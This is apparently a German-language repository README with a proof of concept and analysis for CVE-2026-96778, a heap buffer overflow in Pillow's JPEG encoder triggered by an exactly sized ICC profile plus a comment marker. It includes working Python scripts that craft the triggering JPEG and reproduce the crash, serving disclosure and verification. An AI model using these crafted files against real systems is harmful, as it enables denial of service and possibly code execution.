Proof-of-Concept und technische Analyse für CVE-2026-96778, einen Heap-Buffer-Overflow im JPEG-Encoder von Pillow, ausgelöst durch ein ICC-Profil zusammen mit einem COM-Marker beim erneuten Speichern.
Dieses Repository enthält einen Proof of Concept (PoC), einen Reproduktionsnachweis und eine technische Analyse für CVE-2026-96778, einen Heap-Buffer-Overflow in der Bibliothek Pillow (Python Imaging Library).
Kurzfassung: Das erneute Speichern eines JPEG-Bildes, das ein ICC-Profil mit exakt passender Größe und einen Kommentar (COM-Marker) enthält, führt zu einem Schreibvorgang über den 65.536-Byte-Encoder-Puffer hinaus, beschädigt Heap-Metadaten und kann zu einem Denial of Service (Absturz) bis hin zur Codeausführung führen.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-96778 |
| Komponente | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| Anfällige Stelle | Zeile 282 (jpeg_write_marker für COM-Marker) |
| Typ | Heap Buffer Overflow (CWE-122) |
| Betroffener Bereich | Pillow 9.4.0 – <13.0.0 |
| Behoben in | Pillow 13.0.0 |
| Auswirkung | DoS (SIGSEGV/SIGABRT), potenzielle RCE |
| Vektor | Lokal / Benutzerinteraktion (Öffnen und erneutes Speichern eines Bildes) |
| Advisory | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() berechnet die Größe des Ausgabepuffers nur aus
exif und extra (ICC-Profil), ohne Platz für den Kommentar einzuplanen._encode_to_file() (src/encode.c:186) reserviert einen Puffer von
MAXBLOCK = 65.536 Byte.free_in_buffer == 0 gilt.jpeg_write_marker() aufgerufen wird, um den COM-Marker zu schreiben
(JpegEncode.c:282), schreibt libjpeg zuerst 1 Byte und verringert
erst danach den Zähler size_t free_in_buffer.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
Mit ICC_PAYLOAD = 65498 wird der Puffer genau bis zum letzten Byte gefüllt.
Das Hinzufügen eines COM-Markers (beliebige Länge, 1–65533 Bytes) löst einen Overflow aus.
Ein maximal legaler Kommentar (65.533 Bytes) bewirkt, dass der Overflow eine
große Datenmenge schreibt, wodurch der Absturz deterministischer wird. Ein kleiner Kommentar (z. B. 32 Bytes)
löst in Valgrind weiterhin einen Invalid write aus, führt aber zur Laufzeit
nicht unbedingt zu einem Absturz (abhängig vom Heap-Layout und Allocator).
| Komponente | Wert |
|---|---|
| OS | Ubuntu Linux x86_64 |
| Kernel | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Compiler | gcc 13.3.0 |
| Getestete Pillow-Versionen | 9.4.0, 9.5.0, 13.0.0 |
| Pillow-Quelle | Build aus dem Quellcode (pip install -e .) |
make_trigger.py — Generator für auslösende JPEGsErstellt trigger.jpg mit einem ICC-Profil von 65.498 Bytes und einem COM-Marker.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Valgrind-freundliche Reproduktionfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Mit Valgrind ausführen:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — Referenz-PoC (Crash-Erkennung)Basierend auf der offiziellen GHSA-g7cr-3p24-7wf7-Advisory.
Führt im.save() im Child-Prozess aus und prüft den Exit-Status
(negativ = durch Signal beendet).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Pillow-Version | Importquelle | Valgrind | PoC-Advisory | Status |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + Heap-Korruption | BUG (SIGSEGV) | ANFÄLLIG |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + Heap-Korruption | BUG (SIGSEGV) | ANFÄLLIG |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | SICHER |